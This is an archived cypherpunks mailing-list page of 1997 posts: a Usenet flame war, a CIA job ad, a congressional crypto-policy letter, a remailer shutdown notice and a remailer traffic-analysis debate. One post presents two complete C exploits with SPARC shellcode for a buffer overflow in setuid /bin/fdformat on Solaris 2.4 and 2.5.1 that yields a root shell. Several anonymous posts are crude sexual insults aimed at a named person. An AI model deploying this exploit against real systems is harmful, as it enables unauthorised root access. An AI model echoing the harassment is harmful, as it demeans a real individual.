- cypherpunks-legacy - lists.cpunks.org

Cocksucker John Gilmore and his mouthpiece Rich Graves exposed as liars
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

I'll quote without comment an article from the alt.cypherpunks newsgroup. ]Path: ...!bloom-beacon.mit.edu!senator-bedfellow.mit.edu!sethf ]From: sethf(a)athena.mit.edu (Seth Finkelstein) ]Newsgroups: comp.org.eff.talk,alt.censorship,alt.cypherpunks ]Subject: The flames from the (gG)raves ]Date: 22 Mar 1997 03:12:09 GMT ]Organization: Massachvsetts Institvte of Technology ]Lines: 269 ]Distribution: inet ]Message-ID: <5gvim9$9d8(a)senator-bedfellow.MIT.EDU> ]References: <5gkfag$36o(a)quixote.stanford.edu> <5gmnuj$1ha(a)senator-bedfellow.MIT.EDU> <m0w7HEz-00022AC(a)quixote.stanford.edu> <5gqfpk$ate(a)senator-bedfellow.MIT.EDU> <5gv2kg$lc5(a)quixote.stanford.edu> ]Reply-To: sethf(a)mit.edu ]NNTP-Posting-Host: frumious-bandersnatch.mit.edu ] ] ]In article <5gv2kg$lc5(a)quixote.stanford.edu>, Rich Graves <rcgraves(a)disposable.com> ]>Warning: The Happynet Unofficial Anti-Censorship Committee has determined ]>the following post to be inappropriate for children and fight-censorship ]>subscribers. Only Seth Finkelstein has been empowered to speak the whole ]>truth by the anti-censorship review board. Please enter the following into ]>your killfile: ] ] Rich is getting nuttier and nuttier. This is not ]unexpected. His pattern is to get more and more slimy as you argue ]with him. Note that the fact that he argues with people who are ]themselves very vile people, Holocaust-deniers, does not change the ]demonstrated truth of this statement. This is again why many people ]end up just ignoring him completely and not wanting to read anything ]from him. ] ]>Seth is nothing if not a reasonable unbiased observer. Trust him. Please. ] ] And I've noted many a time, my qualification is I-was-there. ]I have, however, repeatedly tried to resolve this dispute and read all ]your articles (aggravating though it is almost all of the time). That ]should be worth something. ] ]>No, I mean it. From articles <5ghg1t$7j4$5(a)nntp2.ba.best.com> and ]><5ghg1n$7j4$4(a)nntp2.ba.best.com>, just to be sure I guess: ]> ]>|Rich, have you ever wondered why so many diverse people, with wildly ]>|diverse political views, have accused you of being a left or center ]>|fascist or a commie sympathiser. ]>| ]>|And no, the, fact that you have been accused of being a commie symp is ]>|not evidence that those who called you a fascist were wrong, and vice ]>|versa. The various political positions you have been accused of, tend ]>|to be hard to distinguish in practice. ] ] I suspect this is some sort of a trap, but, noting that I am ]walking into this with my eyes open and aware of it: Rich has lied ]here, and in all the referenced quotes below. They are not from me, ]but someone else. By this tactic, he hopes to imply that if I call him ]a liar, and someone else (say a Holocaust-denier) does the same thing, ]both are equally valid. It is exactly the trick I just detailed a ]posting or two ago, imposing moral equivalence on his critics. ] But note, he did not have to lie in the above to do this ]rhetorical tactic. He could have tried to pull it off by contrasting ]similar-sounding, but correctly-attributed, quotes. But he did not, he ]lied repeatedly. There is no way this sort of thing can be explained ]by benefit of the doubt or a human error or believing separate ]reports. It is a malicious and knowing fabrication. By the standards ]Rich espouses (for other people ...) this should condemn him for all ]eternity. ] ]>And article <5gi741$cbp$1(a)nntp2.ba.best.com>: ]> ]>|Another example of your disturbing affection for state informers and ]>|government goons with guns. ]>[...] ]>|I have no idea what these claims are, but I confidently believe a ]>|couple of things about you that you have forcefully denied. ] ] Didn't write that. I don't care what Rich thinks about guns, ]though I wonder if he should be in one of the groups which should ]certainly be denied them (... history of mental illness). ] ]>And article <5gmff0$109$4(a)nntp2.ba.best.com>: ]> ]>|You are a habitual liar, an apologist for state repression, and a ]>|loon. ] ] Didn't write that. I don't know about "habitual", but I suppose ]it's arguable. I don't care about Rich's politics. Loon, DEFINITELY! ] ]>And <5gqbd5$rkm$2(a)nntp2.ba.best.com>: ]> ]>|You piously declare you are on the side of the angels, while ]>|systematically circulating lies that hurt us and benefit the enemy. ] ] Didn't write it, but I could have :-). But the trick there is ]that "the enemy" could mean in the writer's mind "The Jewish Conspiracy", ]but in my mind "Sensation-Mongering Journalists". The two statements ]then may *sound* alike, but actually be completely different. ] ]>And <5gu8v6$nf$2(a)nntp2.ba.best.com>: ]> ]>|Rich regularly circulates "facts" that are systematically off base in ]>|ways that legitimize and justify the lawless acts of governments and ]>|which denigrate peoples rights. ] ] Didn't write it, again, I very rarely deal with Rich's ]general beliefs about government. I get far too much of him as it is. ] ]>|When called on these he then piously whines how much in favor of ]>|liberty he is. ]>| ]>|He is damned statist liar. ] ] Didn't write it, wouldn't say "statist liar". Of course, this ]repeated tactic of misattribution and the broader trick will speak for itself. ] ]>And <5gu8i6$nf$1(a)nntp2.ba.best.com>: ]> ]>|Oh aren't you wonderful ]>| ]>|You talk the talk but you do not walk the walk. ]>| ]>|You are not on Phil Zimmerman's side. You are on the side of the ]>|feds. ] ] Nowadays, I don't think Rich has any side except his own. He ]strikes me as dangerously unstable. Luckily, he only explodes in whining ]rants - so far. ] ]>Please read no further. This is your last warning. ]> ]>OK, I lied. I do that habitually, don't you know. THIS is your last ]>warning. ] ] Doesn't make it right. Most of the time, you slant and ignore ]contrary evidence. That hasn't worked for you in this thread, so now ]you've escalated. One might also point to the absurdity of posting ]long vitriolic articles and saying "don't read this". It's part of a ]pattern of doing something nasty and vicious and vile, and then ]denying that you're actually doing it. ] ] ]>In article <5gqfpk$ate(a)senator-bedfellow.MIT.EDU>, ]>Seth Finkelstein <sethf(a)mit.edu> wrote: ]>> This is so ironic given your venom-filled postings. Yes, I am ]>>flaming you back. It's not nearly as fun when the target is defending ]>>themselves, is it? You just can't get away with the mud without consequences. ]> ]>Seth, you weren't the target, though for what you've done with your ]>miscarried "Justice on Campus," you should be. Since you insist, I'll ]>remedy that lack below. ] ] Umm, you've flamed a lot of people in this thread. And Justice ]on Campus has a lot of contributors, I can't take all credit or blame ]for every part it. I've had a heavy role in some parts of it, and ]deferred in other pieces. ] ]>>>Seth, go to www.dejanews.com. Note that a thread under this title began on ]>>>March 1st. Note that it was a reasonable and civil reply to John Wallace's ]>>>reasonable and civil reply to me. Note that there were several reasonable ]>>>and civil followups. Note that the current topic of this thread did not ]>>>start until March 13th. Note when you arrived, when the content-free ]>>>flames started, and how I broke off a more reasonable subthread to get ]>> ^^^^^^^^^^^^^^ ]>> ]>> Wrong. Note that you smeared everyone around in article ]>>id <5g9sin$g5p(a)quixote.stanford.edu>, that's what started the flame war. ]> ]>Yes, the date on that article is March 13th. There were nine articles in ]>the thread prior to that one. The first post to the thread was March 1st, ]>following up to John Wallace's citation of my name on the so-called ]>fight-censorship list in late February. I was unable to respond to the ]>invocation of my name on the fight-censorship list, so I posted the ]>article here, on March 1st. ] ] Consider the phrase "Note when you arrived, when the ]content-free flames started ...". I arrived *after* you started the ]flamewar, and your mudfest is what began it. You spit in the thread, ]don't complain it now tastes bad. ] ]>> This is the sort of rewriting of history Rich does. He posts some ]>>nasty, provocative flames. When people flame him back, he acts so hurt, ]>>and edits out his part in his retelling, playing the wounded innocent. ]> ]>This is, of course, the unalloyed truth. ] ] We see it demonstrated over and over again. Look at your rewriting ]above. ] ]>>>> Donna Riley and Jean DeCamp shouldn't be touched with a ]>>>>10-foot polemic. I met Jean once. The woman couldn't stop berating me ]>>> ]>>>She should have, with the smear campaign you continue to run against her, ]>> ]>> Her own words condemn her. She'd like to run away from them, ]>>but she can't. ]> ]>I see. How good of you to post selected quotes prominently on the web for ]>more than two years, especially the ones that explicitly read "This is ]>private email" and "Please consider this paragraph confidential." ]>http://joc.mit.edu/footnotes/c3-ljc.txt ] ] Wrong. All the material is there, has been from early on. Read ]the whole thing, http://joc.mit.edu/charges.html#3 , especially ]http://joc.mit.edu/docs/camp.brief.txt . ] In fact, I think my first tussle with her was explaining why ]she was utterly wrong to allege "libelous" in that case, a mistake you ]repeated, but you should know better. ] ]>Justice on Campus. ] ] Take your complaint to all the papers and magazines printing ]Timothy McVay's "confession?" now. ] ]>>>But she didn't take a swing at you, did she? I can only think of one ]>>>person mentioned in this thread who was arrested and convicted for taking ]>>>swings at someone he was living with. "Justice on Campus" they call the ]>> ]>> Actually, said person was falsely and maliciously accused by ]>>the ex- who has a history of making far-out accusation, on the eve of ]>>their relationship breakup, and couldn't afford to fight it all the ]>>way through (for years?). But talk about one-sided, Rich wouldn't tell ]>>you any of that. ]> ]>Right. I haven't posted the URL for the police report, which mentions ]>third parties Yang and Gardy calling the police when they heard the ] ] Nor have you mentioned it's hosted by the same person who made ]bogus harassment charges against JOC and me, which where completely ]false and malicious, and has an amazing history of prevarication. ] ]>some concern for personal privacy. I will merely say that in my personal ]>opinion, you are a disgusting individual for allowing yourself to be so used. ] ] I love you too. ] ]>If you don't think a reasonable and prudent person would read the ]>police report or judgement this way, then by all means, post the URL on ]>"Justice" on Campus. You consider it your duty to post selected personal ]>email between third parties; why not public record? ] ] I personally believe there's something wrong with it, because ]it's hosted by the very same guy who tried to get JOC and me in trouble ]with manufactured malicious charges. See http://joc.mit.edu/attack.html ] If I were dealing with it, I'd put *everything* up in defense, ]but again, I understand at a human level the reaction not to wallow ]though the mud of an angry ex-'s accusations. ] ]>> You're very mixed up. Bogus harassment charges were filed ]>>against *me*, and it gave me a very good view of CMU-style politics. ]>>They use harassment charges and threats as standard weapons down there. ]> ]>I see. Again, this is the unalloyed truth. "Justice on Campus." ] ] Rich, exactly what part do you doubt? That charges were made? ]That's never been denied by anyone involved. That they were phony? ]Well, given that I was hundreds of miles away, and I don't think I ]ever sent the guy e-mail, it's hard to make an argument (unless you ]consider Usenet flaming to be sufficient, which I would really advise ]you not to do). So yes, that's the unalloyed truth. ] ]>>>Yes. Two simple wording changes. Please change the name of the list to ]>>>"fight" and change the word "unmoderated" to "moderated." ]>> ]>> In other words, *SNEER*. It's not about the wording, it's ]>>about your whining, nothing would make you happy, you just want an ]>>issue to cry about. ]> ]>Two simple changes to the wording, in the interest of accuracy. That's all. ] ] "Lightly moderated with regard to participants" seems very non-sneery, ]but I doubt it'll make you happy. ] ]>> Explain to me how importing this flame war onto the mailing ]>>list is going to help anything at all. It seems to me it'd just make ]>>things worse. ]> ]>Well, there we disagree. Convene the Happynet Unofficial Anti-Censorship ]>Committee and mull it over at your leisure. I'm in no hurry. ] ] So tell me how it's going to help anything. At this point, I ]think you're beyond help. ] ]-- ]Seth Finkelstein sethf(a)mit.edu ]Disclaimer : I am not the Lorax. I speak only for myself. ](and certainly not for Project Athena, MIT, or anyone else). ] --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

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Remake: buffer overflow in /bin/fdformat + exploit (Solaris2.X)
by Cristian Schipor 17 Dec '03

17 Dec '03

motto: " No one would have believed in the last years of the nineteenth century that this world was being watched keenly and closely by intelligences greater than man's and yet as mortal as his own; that as men busied themselves about their various concerns they were scrutinised and studied, perhaps almost as narrowly as a man with a microscope might scru- tinise the transient creatures that swarm and multiply in a drop of water." H.G.Wells - "The War of the Worlds" Sun Mar 23 16:56:15 EET 1997 Romania "Remake for bufer-overflow in find_media() now in /bin/fdformat" The buffer overflow bug I posted to you in Mar 13 1997 is present in /bin/fdformat too (which has in may solaris 2.4 and 2.5.1 distributions the suid-exec bit on and it is owned by root). By exploiting fdformat with suid-exec bit on, anyone can gain a root (or who is the owner of fdformat) shell. So, to prevent an fdformat exploit, remove the suid-exec bit from /bin/fdformat. Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro, skipo(a)sundy.cs.pub.ro, skipo(a)ns.ima.ro Phone: 401-410.60.88 See http://www.math.pub.ro/security My exploits (with argv[1] you can change the STACK_OFFSET, +- x, x=8*k k=1,2,3,...): --------------------------- lion24.c --------------------------------- /* Solaris 2.4 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 264 #define EXTRA 36 #define STACK_OFFSET -56 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/fdformat", "fdformat ", &buf[0],(char *) 0); perror("execl failed"); } ------------------------------ end of lion24.c -------------------------- -------------------------------- lion25.c ------------------------------ /* Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on 2.5.1 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 704 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0); perror("execl failed"); } --------------------------- end of lion25.c -------------------------------

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Interesting Job Offer
by Brad Dolan 17 Dec '03

17 Dec '03

>From *Nuclear News*, 3/97: YOUR OFFICE IS THE WORLD You are interested in the constant changes on the world stage and you want to become a part of it. Your workplace becomes this dynamic world arena when you choose a career as an overseas Operations Officer with the Central Intelligence Agency. PUT YOUR TECHNICAL EXPERTISE TO GOOD USE Right now, we are seeking highly motivated men and women with degrees in scientific and technical fields. To qualify, you must combine proven personal integrity and trustworthiness with qualifications in: + Electrical/Electronic Engineering + Computer Science + Physics + Nuclear Engineering + Mathematics We are particularly interested in individuals with undergraduate or postgraduate degrees in these disciplines who also have work experience in telecommunications, satellite communications, programming, networking, Internet communications or technology- related R&D efforts. A UNIQUE CAREER THAT IS NOT FOR EVERYONE If it's right for you, you'll know it. And you'll know you can't find it anywhere else. You must have a strong interest in international trends and events, in how advanced technologies impact areas such as international terrorism, narcotics trafficking, weapons development, world ecology and political stability. Apply your technological expertise to support U.S. security and make a positive difference in our world. COMBINE ACADEMIC EXCELLENCE WITH STREET SMARTS It takes more to qualify for this unusual career track than just technical expertise. You will be working in multicultural environments with foreign nationals, so you must be comfortable and "at home" anywhere in the world. Excellent written and verbal communication skills and foreign language proficiency are essential tools of your trade. Previous overseas residence or extensive foreign travel are definite assets. U.S. citizenship or legal resident status is required. All applicants must successfully complete a thorough medical and psychiatric exam, a polygraph interview and an extensive background investigation. The CIA encourages applications from men and women of every racial and ethnic background from all parts of the country. To apply, send your resume, along with a cover letter describing your interest in working overseas as a CIA Operations Officer. We will respond within 30 days if your application is evaluated as being of interest. Central Intelligence Agency Thomas Benning Dept. YOW-NN397 P.O. Box 12708 Rosslyn Station Arlington, VA 22209 The CIA is an equal opportunity employer CAREERS FOR A CHANGING WORLD Circle Reader Service No. 57

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No Subject
by Mix 17 Dec '03

17 Dec '03

Timmy C[rook] Mayonnaise's abysmal grammar, atrocious spelling and feeble responses clearly identify him as a product of the American education system. ___ ./_ -\. q| o O |p -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise

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Reps. White and Bliley: requesting comments on crypto policy
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Mon, 24 Mar 1997 19:33:39 -0500 From: Declan McCullagh <declan(a)well.com> To: fight-censorship-announce(a)vorlon.mit.edu Subject: FC: Reps. White and Bliley: requesting comments on crypto policy Reps. Rick White (R-Washington) and Tom Bliley (R-Virginia) have been busy sending out letters requesting comments on encryption policy -- and asking pointed questions. The letters have gone to: Lieutenant General Kenneth Minihan, Director of the National Security Agency Secretary William Daley, United States Department of Commerce Director Louis Freeh, Federal Bureau of Investigation Ambassador David Aaron, U.S. Special Envoy for Cryptology Robert Holleyman, President of the Business Software Association Ken Wasch, President of the Software Publishers Association Kathy Kincaid, Director of I/T Security Programs at IBM Attached is the one to the NSA. -Declan ******************* March 21, 1997 Lieutenant General Kenneth A. Minihan Director National Security Agency/Central Security Service 9800 Savage Road Fort George G. Meade, MD 20755-6000 Dear General Minihan: The Committee on Commerce has jurisdiction over all matters relating to interstate and foreign commerce, including commerce transacted over electronic mediums. One vehicle for interstate and foreign electronic commerce, the Internet, has experienced unexpected and exceptional growth. Our Committee has an obligation to ensure that the growth of electronic commerce over the Internet and other networks is not stifled by unnecessary or harmful regulation or policies. Thus, the Committee will be discussing what policies best promote electronic commerce over the Internet and other networks. The growth and success of the Internet and the World Wide Web as both a communications tool, and a medium for electronic commerce is unprecedented. Leading industry estimates indicate that the number of people using the Internet is increasing at the rate of more than 100% per year -- few technologies have had such quick acceptance into the daily activities of Americans. However, the full potential of the Internet as a means for conducting business transactions, or electronic commerce, has yet to be achieved. Most leading experts agree that a developed Internet, and corresponding intranets, have the capability to be engines for economic growth for those offering services over the Internet, and also have the capability to be a means for transforming business operations from one of paper-intensity to one conducted solely through electronic communications and transactions. Unlocking the full potential of the Internet and thus, promoting the use of electronic commerce has been difficult, in part, because of existing and perceived barriers, e.g., many consumers and businesses are concerned with the security and privacy of transactions that would occur over the Internet. A belief in the security of information passed over the Internet and through on-line services that use the public switched network will foster the continued growth of electronic commerce. Fortunately, the use of cryptography or encryption, either hardware or software, may provide a technological aid in the promotion of electronic commerce. We believe, however, that a sound encryption policy for both interstate and foreign electronic commerce must balance users= privacy interests with society=s interest in legitimate law enforcement and investigative needs and the needs to preserve national security. As you know, the U.S. has export restrictions on certain encryption products that may or may not interfere with the development of encryption products designed to secure communications and transactions. These restrictions have been the subject of recently proposed legislation in committees in both the House and Senate. Because of our responsibility over electronic commerce, we seek to have your views on a number of the issues related to the various bills. Therefore, we request that you provide written answers to the following questions by April 25, 1997: (1) With the understanding that there are no domestic restrictions on encryption products, please provide examples where national security may be jeopardized by the relaxation of current American export restriction policy, as incorporated in Executive Order 13026 and implemented, in part, in the corresponding Bureau of Export Administration rules of December 30, 1996. Are there remedies other than export restrictions that would provide the United States government the access it needs to encrypted communications, e.g., increased funding for new advanced computers? (2) How significant is your agencies= consultive role with the Department of Commerce within the current export restrictions? Should this role be strengthened or is it even necessary? How much additional application process time does your agencies= consultive role add to the Department of Commerce=s procedures? (3) It is commonly accepted that current encryption export restrictions imposed by the Administration will delay the proliferation of advanced encryption products, but that it is inevitable that advanced encryption products will be developed world-wide. In your opinion, do export restrictions prevent the development and distribution of advanced encryption products? (4) Are foreign import restrictions consistent with the Administration=s policy? Please identify the countries that have import restrictions and those that have stated their intent not to have any import restrictions. If the United States relaxes its export restrictions, do you anticipate that foreign nations will increase their import restrictions? In addition, we request that your staff analyze and submit their comments on the following: (1) the current export restrictions; (2) the congressional bills introduced that would alter export policy (H.R. 695, S. 376, S. 377); and (3) any other analysis related to encryption export policy your organization has prepared. Please have your staff contact John Morabito or Tricia Paoletta of the Commerce Committee staff at (202) 225-2927 if you have any questions regarding the above request. We thank you in advance for your assistance. With kindest regards, we are Sincerely, Tom Bliley Chairman Rick White Member of Congress ------------------------- Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/ -------------------------------------------------------------------------- This list is public. To join fight-censorship-announce, send "subscribe fight-censorship-announce" to majordomo(a)vorlon.mit.edu. More information is at http://www.eff.org/~declan/fc/

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No Subject
by Mix 17 Dec '03

17 Dec '03

Many forgeries are traceable with mathematical certainty to feebleminded Tim C[rook] May's poison keyboard. ( )( )________ Tim C[rook] May /00 \ _ O_\\--mm---mm /_______)

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[PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
by Alec 17 Dec '03

17 Dec '03

>Date: Sun, 23 Mar 1997 15:09:25 -0500 (EST) >From: "Fred B. Ringel" <fredr(a)joshua.rivertown.net> >Reply-To: fredr(a)joshua.rivertown.net >To: pgp-users list <pgp-users(a)rivertown.net> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE *** > >Hi all- > > Here's another one from this week (in addition to jpunix). They are >dropping like flies, unfortunately. > > Boy, this really, really stinks. > > Fred >========================================================================== > > *** IMPORTANT NEWS REGARDING HAYSTACK(a)HOLY.COW.NET *** > > The Bovine Remailer, also known as haystack(a)holy.cow.net, is > hereby CLOSED. Mail sent to that address will bounce; I don't > know on a technical basis what putting it in the middle of a > remailer chain will do. There are no other remailers or anon > services associated with cow.net. > > It has been a fun year, but the simple fact is that running > a remailer is a thankless, embittering, nasty job. For every > success story of alternate or persecuted viewpoints seeing > the light of day, there are another four or five cases of > legal threats, use of the remailer to spam people who have > already turned off access to their accounts from other sources, > and the extremely disturbing trend of posting newsgroups > with falsified From: Headers, intending to cause endless spam > bots to mail the forged address. No one carefully put in a > forged address to endanger or misrepresent another person, > but it was only a matter of time. > > Haystack was running on a Sun 3/280 at the cow.net loft. At > the peak, this machine was recieving over one thousand > e-mails a day, doing PGP calculations, and sending them out, > and the 30mhz processor wasn't up to the task. The final > straw was the use of the remailer to send out several > hundred "MAKE MONEY FAST"-style messages to a group of > folks who then rebelled or retaliated to the remailer itself; > everyone associated in this sucks. > > If you think this is a shame, then put up your own remailer; > no doubt you'll have a thicker skin that the admins of > haystack, and will somehow flourish under the increasingly > fascist and overbearing environment of the Internet, but > the games up here, for now. > > Yes, for now. We might return some time in the future, > should technical and financial issues be solved, but it seems > rather unlikely at this juncture. > > Once again, if you enjoyed using haystack, you might consider > fighting the good fight and putting up your own. A good, > solid increase in remailers might save the culture. It is > nearly a crime that so much perfectly powerful computer > hardware exists out there, hooked to the net, and a mere > dozen computers, in our case quite aged, were/are doing the > remailing work. > > So, well, like we said, it's been a blast. See you later. > Moo. > > - The Haystack Administration. > >/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ >Fred B. Ringel -- Rivertown.Net Internet Access >Systems Administrator -- http://www.rivertown.net >and General Fixer Upper -- Voice/Fax/Support: +1.914.478.2885 > Although in theory, there's no difference between > theory and practice, in practice, there is. > >

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[IMPORTANT] Cyclic codes
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Tim C. Mayo studied yoga back-streching exercises for five years so he could blow himself (nobody else will). )))) )) OO Tim C. Mayo 6 (_) `____c

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Digital Signature Mock Trial
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text X-PGP-Key: <http://www.shore.net/~sable/info/rltkey.htm> X-Sender: rodney(a)pop3.pn.com Date: Sun, 23 Mar 1997 17:13:25 -0500 To: dcsb(a)ai.mit.edu From: Rodney Thayer <rodney(a)sabletech.com> Subject: Digital Signature Mock Trial Mime-Version: 1.0 Sender: bounce-dcsb(a)ai.mit.edu Precedence: bulk Reply-To: Rodney Thayer <rodney(a)sabletech.com> >Date: Fri, 21 Mar 1997 18:37:16 -0500 >From: Dan Greenwood <dan(a)civics.com> > >Digital Signature Mock Trial >http://www.magnet.state.ma.us/itd/legal/mock1.htm > >The Commonwealth of Massachusetts Information Technology Division Legal >Department will sponsor a mock trial based on a dispute over a digitally >signed communication. This will be an online event, probably web-based. >There will also be a half-day "court room" mock trial to be held in >Boston in the spring. Anyone interested in helping to plan, or >participate in one or both of these mock trials should contact Dan >Greenwood at dgreenwood(a)state.ma.us. > >The purpose of this exercise will be to explore legal ramifications of >deploying digital signature technology as a business tool, including: >what grounds for a claim (consumer law, financial and banking law, >common law, other?); what issues arise relative to preserving certain >evidence for trial; the legal relationship between an "owner" >(subscriber) of a digital signature, a relying party and a certification >authority; what other evidentiary admissibility issues arise, how might >certain contract terms be interpreted (i.e.: what arguments might be >raised related to liability limitations, rights and duties under >contract); etc. The case >will be tried in a fictional jurisdiction and to fictional parties. > >The specific factual pattern (i.e.: who are the parties and what >happened to them) will be developed so as to highlight areas of legal >uncertainty and maximize the instructional value of this exercise. It is >expected that this exercise will assist the >Commonwealth of Massachusetts and other interested parties to more >efficiently manage liability and to better anticipate legal issues as we >look to deploy public key based network solutions. -------- Rodney Thayer <rodney(a)sabletech.com> PGP: BB1B6428 409129AC 076B9DE1 4C250DD8 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo(a)ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB(a)ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/

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Re: "Dr. Roberts" and his advice to the list
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Timothy C. May wrote: > At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote: > >The remailer network itself may be treated as a black box. This means > >that if you suspect certain people are posting messages to a certain > >list you need only watch the timing of the suspect's posts to verify > >guesses. This makes an attack on the remailer network quite > >inexpensive because you need to monitor a relatively small number of > >people in your jurisdiction. > If a mix accumulates, say, 100 messages, and posts one of them to some > destination, no amount of "timing" analysis points to which of the 100 > incoming messages was the source...this is the essence of mixes/remailers. > (Modulo the usual assumptions about message size, encryption, etc.) I wouldn't be so certain about this. Consider the fact that the remailers can be initially studied through relatively _pure_ analysis, for starters. i.e. - a series of slow periods of remailer use where and entity can ensure that almost all of those 100 messages belong to them. Thus the remailer can be studied for non-random patterns that may be unknown even to the operator himself. Then consider the fact that many of the people using remailers have habits and patterns that can easily be studied and followed. i.e. - Time periods online, standard delay time used in posting commands, frequency and volume of their posts. You must also consider context and syntax analysis that point to the true author of anonymous posts, and the fact that, once known, their personal systems can be monitored to reveal the exact time and nature of their input into the remailers. Even knowledge of killfiles can eliminate some of the overhead for traffic analysis, eliminating some sources as being responsible for volume of anonymous email directed at certain subjects or authors. Many of the factors involved in traffic analysis can be obtained outside of the realm of actual input and output of the remailers themselves, thus narrowing the range of _unknown_ factors in that analysis. Certainly there has been much thought and consideration given to the remailer system, by people who allow for various methods of attack on and/or analysis of their system. However, the assumption of 100 _random_ messages can drop pretty fast when one takes into account the number of factors that may turn some of these messages into quantifiable and easily analyzed entities. Add to this the possibility of factors that are known to the attackers, but not to the defenders, and the margin of security drops even further. Care must be taken to realize that even if one is making efforts to conceal their email traffic, that the results of their efforts are also affected by the person who always posts between 4 and 6 pm, who always posts via the same remailer and who always uses a 2 hour delay command in his posts. One needs to remember, as well, that with the capabilities of autobots and switching mechanisms, that to flood a system or systems at certain critical times is an insignificant obstacle to inputing a large quantity of _know_ data into the frame of analysis. > > Would anybody like to post some references? What > >is required to have a rock solid remailer network? > > > >Dr. Roberts > > Why not do the research into these references yourself and then post them? This is an asinine statement. If you are interested in furthering the interests of privacy through encryption and remailers, why don't you aide someone asking for pointers to better information? Is this list reserved for those who already know it all? Can you say "statist?" Sure, you can. > As for what it would take to make a rock solid remailer network, go back > and read some of the many hundreds of articles many of us have written on > this subject, read Chaum's original 1981 CACM short article, and carefully > study DC-Nets. If all information was in those articles, then I suspect that the remailers would already be "rock solid." Rather than living in the past, as if all possibilities had already been discussed and decided, it might better serve some list members to take their hard-earned knowledge and apply it to today's situation, with new technologies, methodologies, routings, etc. Not only have these things changed, but the types and number of people who use them have also changed, thus changing the scope of possible approaches to traffic analysis. TruthMonger S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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